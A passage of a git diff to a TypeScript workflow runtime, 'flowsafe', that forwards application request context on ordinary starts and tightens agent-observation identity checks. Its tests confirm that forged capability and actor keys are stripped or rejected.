expect(outcome).toBeInstanceOf(RunStateUnreadableError); + expect(outcome).not.toBeInstanceOf(AgentRunSelectorMismatchError); + expect(source).toHaveBeenCalledOnce(); + expect(f.counts.model).toBe(0); + } finally { + f.start.mockRestore(); + f.sql.close(); + } + }); +}); + describe('FS8 D3 fix R1 legacy agent observations', () => { it.each( (['v1', 'absent'] as const).flatMap((version) => @@ -3214,6 +3442,7 @@ describe('FS8 D3 fix R1 legacy agent observations', () => { expect(read).toHaveBeenCalledOnce(); expect(f.counts.model).toBe(0); expect(result).toBeInstanceOf(RunStateUnreadableError); + expect(result).not.toBeInstanceOf(AgentRunSelectorMismatchError); } finally { f.start.mockRestore(); f.sql.close(); diff --git a/packages/flowsafe/src/agent-runner/durable-agent-runner.ts b/packages/flowsafe/src/agent-runner/durable-agent-runner.ts index ec41271a..9966f494 100644 --- a/packages/flowsafe/src/agent-runner/durable-agent-runner.ts +++ b/packages/flowsafe/src/agent-runner/durable-agent-runner.ts @@ -289,6 +289,14 @@ export type LegacyAgentRunState = LegacyRunState & { readonly threaded: boolean; }; +/** @internal A coherent snapshot belongs to another agent or thread. */ +export class AgentRunSelectorMismatchError extends RunStateUnreadableError { + constructor(workflowId: string, runId: string) { + super(workflowId, runId); + this.name = 'AgentRunSelectorMismatchError'; + } +} + /** @internal Host-owned start authority captured before streaming. */ export interface AgentStartAuthority { readonly startReservation?: StartReservationReading; @@ -1689,7 +1697,6 @@ export class FlowsafeDurableAgent< !isPathSafeId(runId) ) throw new Error('agent observation selector is invalid'); - const resourceId = resourceIdFromKey(threadId); const state = includeLegacy ? await runtime.authoritativeStartState(workflowId, runId, { includeLegacy: true, @@ -1716,34 +1723,43 @@ export class FlowsafeDurableAgent< | Record | undefined; const memory = input?.messageListState?.memoryInfo; + const observedAgentId = input?.agentId; + const observedThreadId = context?.threadId; + if (!isPathSafeId(observedAgentId) || !isPathSafeId(observedThreadId)) + throw new Error('legacy agent observation identity is malformed'); + const observedResourceId = resourceIdFromKey(observedThreadId); if ( state.address.workflowId !== workflowId || state.address.runId !== runId || - input?.agentId !== agentId || - (input.runId !== undefined && input.runId !== runId) || + (input?.runId !== undefined && input.runId !== runId) || context?.runId !== runId || - context.threadId !== threadId || - context.resourceId !== resourceId || - correlation?.agentId !== agentId || - correlation.threadId !== threadId || - correlation.resourceId !== resourceId || + context.resourceId !== observedResourceId || + correlation?.agentId !== observedAgentId || + correlation.threadId !== observedThreadId || + correlation.resourceId !== observedResourceId || (memory !== null && - (memory?.threadId !== threadId || memory.resourceId !== resourceId)) + (memory?.threadId !== observedThreadId || + memory.resourceId !== observedResourceId)) ) - throw new Error('legacy agent observation contradicts its selectors'); + throw new Error( + 'legacy agent observation context contradicts identity', + ); + if (observedAgentId !== agentId || observedThreadId !== threadId) + throw new AgentRunSelectorMismatchError(workflowId, runId); return { ...state, threaded: memory !== null }; } const identity = state.provenance.startIdentity; const threaded = state.provenance.agentStart?.threaded; if ( identity?.target.kind !== 'agent' || - identity.target.id !== agentId || - identity.target.threadId !== threadId || typeof threaded !== 'boolean' || state.execution.workflowId !== workflowId || state.execution.runId !== runId ) - throw new Error('agent observation identity disagrees with selector'); + throw new Error('agent observation identity is malformed'); + const observedAgentId = identity.target.id; + const observedThreadId = identity.target.threadId; + const observedResourceId = resourceIdFromKey(observedThreadId); const context = state.snapshot.requestContext; const record = (value: unknown): Record => { if (value === null || typeof value !== 'object' || Array.isArray(value)) @@ -1757,15 +1773,19 @@ export class FlowsafeDurableAgent< if (Object.hasOwn(values, key) && values[key] !== expected) throw new Error('agent observation context contradicts identity'); }; - check(context, { runId, threadId, resourceId }); + check(context, { + runId, + threadId: observedThreadId, + resourceId: observedResourceId, + }); check(context?.['breakwater.auditContext'], { - agentId, - threadId, - resourceId, + agentId: observedAgentId, + threadId: observedThreadId, + resourceId: observedResourceId, }); const input = state.snapshot.context?.input; if (input !== undefined) { - check(input, { agentId, runId }); + check(input, { agentId: observedAgentId, runId }); const messageList = record(input).messageListState; if (messageList !== undefined) { const values = record(messageList); @@ -1777,14 +1797,16 @@ export class FlowsafeDurableAgent< const selected = record(memory); if ( !threaded || - selected.threadId !== threadId || - selected.resourceId !== resourceId + selected.threadId !== observedThreadId || + selected.resourceId !== observedResourceId ) throw new Error('agent mode contradicts memory'); } } } } + if (observedAgentId !== agentId || observedThreadId !== threadId) + throw new AgentRunSelectorMismatchError(workflowId, runId); return { ...state, execution: { ...state.execution, ...identity }, diff --git a/packages/flowsafe/src/do-runner/durable-object.test.ts b/packages/flowsafe/src/do-runner/durable-object.test.ts index 3ef4ac04..302cb2cf 100644 --- a/packages/flowsafe/src/do-runner/durable-object.test.ts +++ b/packages/flowsafe/src/do-runner/durable-object.test.ts @@ -742,6 +742,7 @@ describe('C workflow ingress capture', () => { ); const bodyInput = { topic: 'body-original' }; const bodyState = {}; + const bodyContext = { 'test.source': 'body-original' }; const expectedOwner = scheduled ? { kind: 'human', id: 'schedule-owner' } : { kind: principal.kind, id: principal.id }; @@ -750,6 +751,7 @@ describe('C workflow ingress capture', () => { runId: 'c-run', inputData: bodyInput, initialState: bodyState, + requestContext: bodyContext, scheduleId: scheduled ? 'original-schedule' : undefined, dispatchId: scheduled ? 'original-dispatch' : undefined, deadlineMs: 1000, @@ -796,6 +798,7 @@ describe('C workflow ingress capture', () => { runId: 'replacement', inputData: { topic: 'replacement' }, initialState: { replaced: true }, + requestContext: { replaced: true }, scheduleId: 'replacement', dispatchId: 'replacement', deadlineMs: 9000, @@ -853,7 +856,7 @@ describe('C workflow ingress capture', () => { expect(options?.inputData).toBe(scheduled ? targetInput : bodyInput); expect(options?.initialState).toBe(scheduled ? targetState : bodyState); expect(options?.storedRequestContext).toBe( - scheduled ? targetContext : undefined, + scheduled ? targetContext : bodyContext, ); expect(options?.runOwnerGuard?.reservationToken).toBe( options?.attemptToken, @@ -1337,6 +1340,34 @@ describe('C workflow ingress capture', () => { }); describe('DurableObjectRunner.fetch', () => { + it.each([ + undefined, + {}, + { 'app.attribution': { workspaceId: 'workspace-1', origin: 'api' } }, + ])('forwards ordinary start context to Runtime: %j', async (requestContext) => { + const fixture = cWorkflowFixture(); + const response = await fixture.runner.fetch( + post('/runs', { ...C_WORKFLOW_BODY, requestContext }), + ); + + expect(response.status).toBe(200); + expect(fixture.start).toHaveBeenCalledOnce(); + const options = fixture.start.mock.calls[0]?.[1]; + if (requestContext === undefined) { + expect(options).not.toHaveProperty('storedRequestContext'); + } else { + expect(options?.storedRequestContext).toEqual(requestContext); + } + expect(options).toMatchObject({ + requestedBy: OWNER_PRINCIPAL.id, + requestedByKind: OWNER_PRINCIPAL.kind, + startIdentity: { + owner: { kind: OWNER_PRINCIPAL.kind, id: OWNER_PRINCIPAL.id }, + target: { kind: 'workflow', id: 'gated' }, + }, + }); + }); + it('rejects a start without a trusted execution principal before runtime or ownership work', async () => { const reserve = vi.fn(async () => true); const runtime = { @@ -1598,7 +1629,10 @@ describe('DurableObjectRunner.fetch', () => { ); }); - it('executes the prepared schedule target payload instead of forged start-body payload', async () => { + it.each([ + undefined, + { source: 'stored-context' }, + ])('executes the prepared schedule target payload with context %j', async (requestContext) => { const owners = new InMemoryResourceOwnershipStore(); await owners.claim('schedule', 'schedule-payload', { kind: 'human', @@ -1631,7 +1665,7 @@ describe('DurableObjectRunner.fetch', () => { workflowId: 'gated', inputData: { topic: 'stored-input' }, initialState: { phase: 'stored-state' }, - requestContext: { source: 'stored-context' }, + ...(requestContext === undefined ? {} : { requestContext }), }, }); const runner = new TestRunner(undefined, env); @@ -1663,11 +1697,16 @@ describe('DurableObjectRunner.fetch', () => { runId: 'run-schedule-payload', inputData: { topic: 'stored-input' }, initialState: { phase: 'stored-state' }, - storedRequestContext: { source: 'stored-context' }, requestedBy: 'schedule-runner', requestedByKind: 'system', }), ); + const options = start.mock.calls[0]?.[1]; + if (requestContext === undefined) { + expect(options).not.toHaveProperty('storedRequestContext'); + } else { + expect(options?.storedRequestContext).toEqual(requestContext); + } }); it.each([ diff --git a/packages/flowsafe/src/do-runner/durable-object.ts b/packages/flowsafe/src/do-runner/durable-object.ts index 26e2e799..340385a0 100644 --- a/packages/flowsafe/src/do-runner/durable-object.ts +++ b/packages/flowsafe/src/do-runner/durable-object.ts @@ -236,6 +236,7 @@ interface StartBody { runId?: string; inputData?: unknown; initialState?: unknown; + requestContext?: Record; scheduleId?: unknown; dispatchId?: unknown; deadlineMs?: unknown; @@ -1899,6 +1900,7 @@ export abstract class DurableObjectRunner { runId, inputData, initialState, + requestContext, scheduleId, dispatchId, deadlineMs, @@ -1986,7 +1988,9 @@ export abstract class DurableObjectRunner { const target = source.target; const resolvedInput = target ? target.inputData : inputData; const resolvedState = target ? target.initialState : initialState; - const storedRequestContext = target?.requestContext; + const storedRequestContext = target + ? target.requestContext + : requestContext; const runtime = this.#ensureRuntime(); await this.#recoverPendingRunOwner(); const existing = await runtime.status(workflowId, runId); diff --git a/packages/flowsafe/src/do-runner/runtime.test.ts b/packages/flowsafe/src/do-runner/runtime.test.ts index 1550e530..25d64e9a 100644 --- a/packages/flowsafe/src/do-runner/runtime.test.ts +++ b/packages/flowsafe/src/do-runner/runtime.test.ts @@ -2,8 +2,12 @@ import { Agent } from '@mastra/core/agent'; import { Mastra } from '@mastra/core/mastra'; import type { RequestContext } from '@mastra/core/request-context'; -import { InMemoryStore } from '@mastra/core/storage'; +import { InMemoryStore, type MastraCompositeStore } from '@mastra/core/storage'; import type { WorkflowRunState } from '@mastra/core/workflows'; +import { + createConnector, + invokeConnector, +} from '@proofoftech/breakwater/connector-sdk'; import { assert, describe, expect, expectTypeOf, it, vi } from 'vitest'; import { z } from 'zod'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; @@ -5137,34 +5141,45 @@ describe('RunnerRuntime requestContextForRun', () => { b: unknown; } - // probe: first (records context) -> gate (suspends; records context on the - // resumed execution). Proves what each execution leg actually observes. - function buildContextProbe(provider: RequestContextProvider): { + function buildContextProbe( + provider: RequestContextProvider, + storage: MastraCompositeStore = new InMemoryStore(), + ): { runtime: RunnerRuntime; seen: Observation[]; } { const seen: Observation[] = []; const { createWorkflow, createStep, runtime } = init( - { storage: new InMemoryStore() }, + { storage }, { startIdempotency: 'none', requestContextForRun: provider, executionFence: 'none', }, ); - const first = createStep({ - id: 'first', - inputSchema: z.object({}), + const inspect = createConnector({ + id: 'inspect-context', + description: 'Inspect application context at the connector boundary', + inputSchema: z.object({ leg: z.enum(['start', 'resume']) }), outputSchema: z.object({}), - execute: async ({ requestContext }) => { + permissions: { sideEffect: 'read' }, + execute: async ({ leg }, { requestContext }) => { + assert(requestContext); seen.push({ - leg: 'start', + leg, a: requestContext.get('test.a'), b: requestContext.get('test.b'), }); return {}; }, }); + const first = createStep({ + id: 'first', + inputSchema: z.object({}), + outputSchema: z.object({}), + execute: async ({ requestContext }) => + invokeConnector(inspect, { leg: 'start' as const }, { requestContext }), + }); const gate = createStep({ id: 'gate', inputSchema: z.object({}), @@ -5173,12 +5188,11 @@ describe('RunnerRuntime requestContextForRun', () => { resumeSchema: z.object({ go: z.boolean() }), execute: async ({ resumeData, suspend, requestContext }) => { if (!resumeData) return suspend({ reason: 'wait' }); - seen.push({ - leg: 'resume', - a: requestContext.get('test.a'), - b: requestContext.get('test.b'), - }); - return {}; + return invokeConnector( + inspect, + { leg: 'resume' as const }, + { requestContext }, + ); }, }); createWorkflow({ @@ -5192,52 +5206,297 @@ describe('RunnerRuntime requestContextForRun', () => { return { runtime, seen }; } - it('merges stored schedule context below trusted provider and runtime values', async () => { + it('merges stored application context below provider and Runtime authority in a connector', async () => { const seen: Record = {}; const { createWorkflow, createStep, runtime } = init( { storage: new InMemoryStore() }, { startIdempotency: 'none', - requestContextForRun: () => ({ 'test.a': 'provider' }), + requestContextForRun: () => ({ + 'test.a': 'provider', + 'breakwater.actor': { id: 'trusted-operator', role: 'operator' }, + threadId: 'trusted-thread', + 'breakwater.workflowScope': 'provider-forged-scope', + runId: 'provider-forged-run', + }), executionFence: 'none', }, ); - const inspect = createStep({ - id: 'inspect-scheduled-context', + const connector = createConnector({ + id: 'inspect-application-context', + description: 'Inspect stored context and execution authority', inputSchema: z.object({}), outputSchema: z.object({}), - execute: async ({ requestContext }) => { + permissions: { sideEffect: 'read' }, + execute: async (_input, { requestContext }) => { + assert(requestContext); seen.a = requestContext.get('test.a'); seen.b = requestContext.get('test.b'); seen.workflowScope = requestContext.get('breakwater.workflowScope'); + seen.actor = requestContext.get('breakwater.actor'); + seen.threadId = requestContext.get('threadId'); + seen.runId = requestContext.get('runId'); + seen.execution = requestContext.get('breakwater.connectorExecution'); + seen.isolation = requestContext.get('breakwater.isolationScope'); + seen.grants = requestContext.get('breakwater.connectorGrants'); + seen.customCapability = requestContext.get('breakwater.customGrant'); return {}; }, }); + const inspect = createStep({ + id: 'inspect-context', + inputSchema: z.object({}), + outputSchema: z.object({}), + execute: async ({ requestContext }) => + invokeConnector(connector, {}, { requestContext }), + }); createWorkflow({ - id: 'scheduled-context', + id: 'application-context', inputSchema: z.object({}), outputSchema: z.object({}), }) .then(inspect) .commit(); - await runtime.start('scheduled-context', { - runId: 'scheduled-context-run', + const result = await runtime.start('application-context', { + runId: 'application-context-run', inputData: {}, storedRequestContext: { 'test.a': 'stored', 'test.b': 'stored-only', 'breakwater.workflowScope': 'forged', + 'breakwater.actor': { id: 'forged-admin', role: 'admin' }, + 'breakwater.isolationScope': 'forged-isolation', + 'breakwater.connectorGrants': ['forged-grant'], + 'breakwater.customGrant': 'forged-capability', + 'breakwater.connectorExecution': { kind: 'resume' }, + threadId: 'forged-thread', + runId: 'forged-run', }, }); + expect(result.status).toBe('success'); expect(seen).toEqual({ a: 'provider', b: 'stored-only', - workflowScope: 'scheduled-context', + workflowScope: 'application-context', + actor: { id: 'trusted-operator', role: 'operator' }, + threadId: 'trusted-thread', + runId: 'application-context-run', + execution: { + kind: 'start', + workflowId: 'application-context', + runId: 'application-context-run', + }, + isolation: undefined, + grants: undefined, + customCapability: undefined, }); }); + it('restores stored application context through a fresh Runtime and D1 storage adapter', async () => { + const binding = sqliteUnitDatabase(openSqlite()) as D1DatabaseBinding; + const provider = vi.fn( + (_workflowId, _runId, leg) => ({ + 'test.a': `provider-${leg.kind}`, + }), + ); + const stored = { workspaceId: 'workspace-1', tags: ['persisted', 'api'] }; + const before = buildContextProbe(provider, createD1Storage({ binding })); + const started = await before.runtime.start('probe', { + runId: 'stored-context-resume', + inputData: {}, + storedRequestContext: { 'test.a': 'stored', 'test.b': stored }, + }); + expect(started.status).toBe('suspended'); + expect(before.seen).toEqual([ + { leg: 'start', a: 'provider-start', b: stored }, + ]); + + const after = buildContextProbe(provider, createD1Storage({ binding })); + const resumed = await after.runtime.resume('probe', started.runId, { + step: 'gate', + resumeData: { go: true }, + }); + + expect(resumed.status).toBe('success'); + expect(after.seen).toEqual([ + { leg: 'resume', a: 'provider-resume', b: stored }, + ]); + expect( + provider.mock.calls.map(([_workflowId, _runId, leg]) => leg.kind), + ).toEqual(['start', 'resume']); + }); + + it.each([ + 'stored-grants', + 'provider-refresh', + 'provider-revocation', + ] as const)('enforces connector capability provenance across fresh Runtime legs: %s', async (mode) => { + const storage = new InMemoryStore(); + const seen: Record[] = []; + const storedGrant = { + scope: 'run', + connectorId: 'context-writer', + workflowId: 'context-grants', + runId: 'context-grants-run', + }; + const provider = vi.fn( + (workflowId, runId, leg) => ({ + 'test.source': `provider-${leg.kind}`, + ...(mode === 'stored-grants' + ? {} + : { + 'breakwater.connectorGrants': + leg.kind === 'resume' && mode === 'provider-revocation' + ? [] + : [ + leg.kind === 'start' + ? storedGrant + : { + scope: 'suspension', + connectorId: 'context-writer', + workflowId, + runId, + suspension: { + stepPath: leg.step, + suspendedAt: leg.suspendedAt, + }, + }, + ], + }), + }), + ); + const build = () => { + const app = init( + { storage }, + { + startIdempotency: 'none', + executionFence: 'none', + requestContextForRun: provider, + }, + ); + const writer = createConnector({ + id: 'context-writer', + description: 'Exercise application context and provider-derived grants', + inputSchema: z.object({}), + outputSchema: z.object({}), + permissions: { sideEffect: 'write', requiresApproval: true }, + execute: async (_input, { requestContext }) => { + assert(requestContext); + seen.push({ + source: requestContext.get('test.source'), + attribution: requestContext.get('app.attribution'), + mutationEpoch: requestContext.get('mutationEpoch'), + startToken: requestContext.get('startToken'), + grants: requestContext.get('breakwater.connectorGrants'), + }); + return {}; + }, + }); + app + .createWorkflow({ + id: 'context-grants', + inputSchema: z.object({}), + outputSchema: z.object({}), + }) + .then( + app.createStep({ + id: 'first', + inputSchema: z.object({}), + outputSchema: z.object({}), + execute: async ({ requestContext }) => + invokeConnector(writer, {}, { requestContext }), + }), + ) + .then( + app.createStep({ + id: 'gate', + inputSchema: z.object({}), + outputSchema: z.object({}), + suspendSchema: z.object({ reason: z.string() }), + resumeSchema: z.object({ go: z.boolean() }), + execute: async ({ resumeData, suspend, requestContext }) => { + if (!resumeData) return suspend({ reason: 'wait' }); + return invokeConnector(writer, {}, { requestContext }); + }, + }), + ) + .commit(); + return app.runtime; + }; + const before = build(); + const started = await before.start('context-grants', { + runId: 'context-grants-run', + inputData: {}, + requestedBy: 'trusted-requester', + requestedByKind: 'human', + storedRequestContext: { + 'test.source': 'stored', + 'app.attribution': { workspaceId: 'workspace-1' }, + mutationEpoch: 'application-value', + startToken: 'application-token', + connectorGrants: [storedGrant], + approved: true, + 'breakwater.connectorGrants': [storedGrant], + 'flowsafe.runProvenance': { requestedBy: 'forged-requester' }, + }, + }); + expect(started.requestedBy).toBe('trusted-requester'); + if (mode === 'stored-grants') { + expect(started.status).toBe('failed'); + expect(started.error).toContain( + 'approval required and no matching structured grant was found', + ); + expect(seen).toEqual([]); + expect(provider).toHaveBeenCalledOnce(); + return; + } + expect(started.status).toBe('suspended'); + expect(seen).toEqual([ + { + source: 'provider-start', + attribution: { workspaceId: 'workspace-1' }, + mutationEpoch: 'application-value', + startToken: 'application-token', + grants: [storedGrant], + }, + ]); + const resumed = await build().resume('context-grants', started.runId, { + step: 'gate', + resumeData: { go: true }, + }); + expect( + provider.mock.calls.map(([_workflowId, _runId, leg]) => leg.kind), + ).toEqual(['start', 'resume']); + if (mode === 'provider-revocation') { + expect(resumed.status).toBe('failed'); + expect(resumed.error).toContain( + 'approval required and no matching structured grant was found', + ); + expect(seen).toHaveLength(1); + } else { + expect(resumed.status).toBe('success'); + expect(seen).toHaveLength(2); + expect(seen[1]).toEqual({ + ...seen[0], + source: 'provider-resume', + grants: [ + { + scope: 'suspension', + connectorId: 'context-writer', + workflowId: 'context-grants', + runId: 'context-grants-run', + suspension: { + stepPath: ['gate'], + suspendedAt: expect.any(Number), + }, + }, + ], + }); + } + }); + it('consults the provider on every start and resume leg', async () => { // #given — a provider that mints a distinct context per consult let calls = 0; diff --git a/packages/flowsafe/src/do-runner/runtime.ts b/packages/flowsafe/src/do-runner/runtime.ts index 38f7561a..5cd3a98a 100644 --- a/packages/flowsafe/src/do-runner/runtime.ts +++ b/packages/flowsafe/src/do-runner/runtime.ts @@ -646,21 +646,18 @@ export type RunLeg = }; /** - * Server-side requestContext source, consulted on EVERY start and resume. - * This is the trusted-computing-base seam (security-threat-model.md, trust - * boundary 6): the DO HTTP boundary never maps requestContext from request - * bodies, so capability keys — e.g. breakwater's approval grants - * ('breakwater.connectorGrants') — can only enter a run through this - * provider. Wire it to derive values from trusted server-side state (the - * flowsafe approval store), never from client input, model output, or tool - * results. + * Server-side requestContext supplied during start and resume preparation. + * Trusted host starts and verified schedule targets may supply non-reserved + * application context through storedRequestContext. Capability values, + * including approval grants, derive from trusted server-side state through + * this provider (security-threat-model.md, trust boundary 6). Use trusted + * sources such as the flowsafe approval store; never derive capabilities + * from client input, model output, or tool results. * - * Merge semantics are pinned by tests against the installed Mastra core: the context provided - * at resume merges OVER the run's persisted context — provided keys win, - * persisted start-time keys survive. Omitting a key therefore does not - * revoke it; a provider that scopes a capability per leg must return the key - * on EVERY leg (an empty value when nothing applies) so the overwrite - * retires stale grants. + * Resume values overwrite matching persisted keys. Omitting a key retains + * its persisted value. A provider that scopes a capability per leg must + * return its key for each leg, using an empty grant list to revoke persisted + * connector grants. */ export type RequestContextProvider = ( workflowId: string, @@ -793,11 +790,11 @@ export type StartRunOptions = { */ runId: string; inputData?: unknown; - /** Initial workflow state from an infrastructure-verified schedule target. */ + /** Schedule-target or ordinary trusted-start state. */ initialState?: unknown; /** - * Non-reserved application context from an infrastructure-verified schedule - * target. Runtime-owned keys are stripped again before execution. + * Non-reserved context supplied by a trusted host start or a verified + * schedule target. */ storedRequestContext?: Record; /** Host correlation token for this execution leg. */ diff --git a/packages/flowsafe/src/host-kit/do-run-topology.test.ts b/packages/flowsafe/src/host-kit/do-run-topology.test.ts index 0e3a7036..16337adb 100644 --- a/packages/flowsafe/src/host-kit/do-run-topology.test.ts +++ b/packages/flowsafe/src/host-kit/do-run-topology.test.ts @@ -177,6 +177,7 @@ describe('createDoRunTopology', () => { runId: 'run-1', inputData: { value: 'ordinary-input' }, initialState: { checkpoint: true }, + requestContext: { 'app.attribution': 'ordinary', nested: { value: 1 } }, principal: { kind: 'agent', id: 'agent-1', @@ -197,6 +198,7 @@ describe('createDoRunTopology', () => { runId: 'run-1', inputData: { value: 'ordinary-input' }, initialState: { checkpoint: true }, + requestContext: { 'app.attribution': 'ordinary', nested: { value: 1 } }, }); }); @@ -208,6 +210,7 @@ describe('createDoRunTopology', () => { runId: 'run-1', inputData: { forged: true }, initialState: { forged: true }, + requestContext: { 'app.attribution': 'forged' }, principal: { kind: 'service', id: 'scheduler', @@ -215,6 +218,7 @@ describe('createDoRunTopology', () => { }, scheduleId: 'schedule-1', dispatchId: 'dispatch-1', + deadlineMs: 60_000, }); expect(JSON.parse(requests[0]?.init?.body ?? '')).toEqual({ @@ -222,6 +226,7 @@ describe('createDoRunTopology', () => { runId: 'run-1', scheduleId: 'schedule-1', dispatchId: 'dispatch-1', + deadlineMs: 60_000, }); }); diff --git a/packages/flowsafe/src/host-kit/do-run-topology.ts b/packages/flowsafe/src/host-kit/do-run-topology.ts index f6dad235..bf8bf91b 100644 --- a/packages/flowsafe/src/host-kit/do-run-topology.ts +++ b/packages/flowsafe/src/host-kit/do-run-topology.ts @@ -147,6 +147,7 @@ export function createDoRunTopology( workflowId, runId, inputData, + requestContext, initialState, principal, mutationEpoch, @@ -197,7 +198,7 @@ export function createDoRunTopology( ...(idempotencyKey === undefined ? {} : { idempotencyKey }), ...(startReservation === undefined ? {} : { startReservation }), ...(scheduleId === undefined - ? { inputData, initialState, deadlineMs } + ? { inputData, initialState, deadlineMs, requestContext } : { scheduleId, dispatchId, deadlineMs }), }), }), diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts index 278d2a16..38efacae 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts @@ -29,6 +29,7 @@ import { type ScheduleDatabase, } from '../schedules/index.js'; import type { ResumeRunFn } from './approval-bridge.js'; +import type { RunnerStubLike } from './do-run-topology.js'; import { createFlowsafeWorker, type FlowsafeWorkerConfig, @@ -39,6 +40,7 @@ import { } from './flowsafe-worker.js'; import { approvalStoreFactoryFor } from './host-approval-service.js'; import { MAINTENANCE_RECEIPT_HEADER } from './maintenance-capability.js'; +import { RunRouteError } from './run-route-error.js'; import { staticTokenVerifier } from './verifier.js'; import type { WorkflowMeta } from './workflow-meta.js'; @@ -954,6 +956,79 @@ describe('createFlowsafeWorker fetch pipeline', () => { expect(buildResumeRun.mock.calls[0]?.[1]).toBe(env); }); + it.each([ + undefined, + { 'app.attribution': 'ada', nested: { value: 1 } }, + ])('passes context as the fifth policy argument and serializes it to the run DO: %j', async (requestContext) => { + const beforeStart = vi.fn< + NonNullable['beforeStart']> + >(async () => {}); + const worker = makeWorker({ beforeStart }); + const h = makeEnv(); + const transport = vi.fn(async (_url, init) => { + const body = JSON.parse(init?.body ?? '{}') as { runId: string }; + return Response.json(successSummary(body.runId)); + }); + h.env.RUNNER = { + idFromName: (name) => name, + get: () => ({ fetch: transport }), + }; + const inputData = { topic: 'launch' }; + const response = await worker.fetch( + authed('http://host/runs', { + method: 'POST', + body: JSON.stringify({ workflowId: 'wf', inputData, requestContext }), + }), + h.env, + h.ctx, + ); + await h.flush(); + + expect(response.status).toBe(200); + expect(beforeStart).toHaveBeenCalledExactlyOnceWith( + expect.objectContaining({ actor: { id: 'ada', role: 'admin' } }), + h.env, + 'wf', + inputData, + requestContext, + ); + expect(transport).toHaveBeenCalledOnce(); + const forwarded = JSON.parse(transport.mock.calls[0]?.[1]?.body ?? '{}'); + expect(forwarded.requestContext).toEqual(requestContext); + expect(Object.hasOwn(forwarded, 'requestContext')).toBe( + requestContext !== undefined, + ); + }); + + it('rejects application attribution in host policy before contacting the run DO', async () => { + const beforeStart = vi.fn< + NonNullable['beforeStart']> + >(async (_context, _env, _workflowId, _inputData, requestContext) => { + expect(requestContext).toEqual({ 'app.attribution': 'forbidden' }); + throw new RunRouteError(403, 'attribution is not allowed'); + }); + const worker = makeWorker({ beforeStart }); + const h = makeEnv(); + const response = await worker.fetch( + authed('http://host/runs', { + method: 'POST', + body: JSON.stringify({ + workflowId: 'wf', + requestContext: { 'app.attribution': 'forbidden' }, + }), + }), + h.env, + h.ctx, + ); + await h.flush(); + expect(response.status).toBe(403); + expect(await response.json()).toEqual({ + error: 'attribution is not allowed', + }); + expect(beforeStart).toHaveBeenCalledOnce(); + expect(h.doCalls).toEqual([]); + }); + it('runs the context-aware start and resume policies before the topology thunks', async () => { // #given const wrapped: string[] = []; diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.ts index 91493dca..599a5c73 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.ts @@ -376,6 +376,7 @@ export interface FlowsafeWorkerConfig env: Env, workflowId: string, inputData: unknown, + requestContext: Record | undefined, ) => Promise; /** Host policy immediately before a validated raw resume reaches the run DO. */ beforeResume?: ( @@ -1644,8 +1645,8 @@ export function createFlowsafeWorker( executionFence: executionFenceForEnv(env), }, beforeStart: beforeStart - ? (context, workflowId, inputData) => - beforeStart(context, env, workflowId, inputData) + ? (context, workflowId, inputData, requestContext) => + beforeStart(context, env, workflowId, inputData, requestContext) : undefined, beforeResume: beforeResume ? (context, workflowId, runId, body) => diff --git a/packages/flowsafe/src/host-kit/run-router.test.ts b/packages/flowsafe/src/host-kit/run-router.test.ts index ac54c6c0..a155f367 100644 --- a/packages/flowsafe/src/host-kit/run-router.test.ts +++ b/packages/flowsafe/src/host-kit/run-router.test.ts @@ -1,7 +1,14 @@ // SPDX-License-Identifier: Apache-2.0 // Showcase modules depend on host-kit, so these fixtures remain independent. +import { InMemoryStore } from '@mastra/core/storage'; +import { + type ConnectorConfig, + createConnector, + invokeConnector, +} from '@proofoftech/breakwater'; import { describe, expect, it, vi } from 'vitest'; +import { z } from 'zod'; import { TEST_DEPLOYMENT_IDENTITY_SECRET } from '../../test-support/deployment-identity.js'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; @@ -15,12 +22,14 @@ import { InMemoryApprovalStoreFactory, type SelfDecisionPolicy, } from '../approval-api/index.js'; +import { RESERVED_EXECUTION_CONTEXT_KEYS } from '../do-runner/execution-context.js'; import { doErrorResponse, ExecutionFencedError, type ExecutionFenceWiring, InvalidMutationEpochError, InvalidRunRequestError, + init, MutationEpochMismatchError, RunLifecycleBlockedError, RunNotSuspendedError, @@ -518,6 +527,7 @@ describe('C workflow router capture', () => { }); const body = cHeldBody({ workflowId: RESTRICTED_FLOW.id, + requestContext: { 'app.attribution': 'original' }, ...(keyed ? { idempotencyKey: 'original-key' } : {}), }); const pending = fixture.handle(body.request); @@ -558,6 +568,7 @@ describe('C workflow router capture', () => { }); expect(start.mock.calls[0]?.[0]).toMatchObject({ workflowId: RESTRICTED_FLOW.id, + requestContext: { 'app.attribution': 'original' }, principal: { id: OPERATOR.id }, mutationEpoch: 2, }); @@ -630,14 +641,24 @@ describe('C workflow router capture', () => { ? { store, live: async () => false, executionFence: 'none' } : 'none', }); + let applicationContext = { 'app.attribution': 'original' }; + const contextRead = vi.fn(() => applicationContext); const body = { workflowId: OPEN_FLOW.id, inputData: { original: true }, + get requestContext() { + return contextRead(); + }, + set requestContext(value) { + applicationContext = value; + }, deadlineMs: 60, idempotencyKey: keyed ? 'original-key' : undefined, }; const originalInput = body.inputData; + const originalContext = applicationContext; const raw = JSON.stringify(body); + contextRead.mockClear(); const parse = JSON.parse; const parser = vi .spyOn(JSON, 'parse') @@ -663,6 +684,7 @@ describe('C workflow router capture', () => { idempotencyKey: 'replacement', deadlineMs: 999, inputData: { replaced: true }, + requestContext: { 'app.attribution': 'replacement' }, }); policyRelease.resolve(); if (keyed) { @@ -702,10 +724,12 @@ describe('C workflow router capture', () => { expect(policy.mock.calls[0]?.slice(1)).toEqual([ OPEN_FLOW.id, originalInput, + originalContext, ]); expect(start.mock.calls[0]?.[0]).toMatchObject({ workflowId: OPEN_FLOW.id, inputData: originalInput, + requestContext: originalContext, deadlineMs: 60, principal: { id: OPERATOR.id }, mutationEpoch: 2, @@ -719,6 +743,7 @@ describe('C workflow router capture', () => { }); } expect(start).toHaveBeenCalledOnce(); + expect(contextRead).toHaveBeenCalledOnce(); }); }); @@ -1019,6 +1044,214 @@ describe('createRunRouter — per-workflow allowedRoles', () => { }); }); +describe('createRunRouter — run-start application context', () => { + it.each([ + 